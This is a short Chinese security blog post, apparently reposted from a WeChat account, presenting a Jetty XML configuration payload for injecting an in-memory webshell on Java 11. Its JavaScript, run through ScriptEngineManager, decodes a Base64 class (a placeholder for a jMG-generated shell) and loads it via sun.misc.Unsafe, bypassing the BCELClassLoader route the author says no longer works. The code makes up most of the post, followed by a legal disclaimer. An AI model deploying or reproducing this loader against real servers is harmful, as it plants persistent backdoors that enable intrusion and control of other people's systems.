网上目前文章都是使用BCELClassLoader,java8某个小版本后就使用不了了,可以替换为ScriptEngineManager配合jMG生成Base64进行内存马注入。
<Configure id="abc" class="org.eclipse.jetty.webapp.WebAppContext">
<New id="scriptEngineManager" class="javax.script.ScriptEngineManager"></New>
<Ref refid="scriptEngineManager">
<Call id="getEngineByName" name="getEngineByName">
<Arg>js</Arg>
</Call>
</Ref>
<Ref refid="getEngineByName">
<Call name="eval">
<Arg>
var str="jMG-Base64";
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
</Arg>
</Call>
</Ref>
</Configure>
参考文章: https://mp.weixin.qq.com/s/hrG6Hz-rKH2sR79M48qaRw
(该文章仅用于技术研究,请勿用于非法用途。对于产生的任何风险及违法问题不承担任何责任)
原文始发于微信公众号(哈拉少安全小队):Jetty Xml内存马(Java11)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论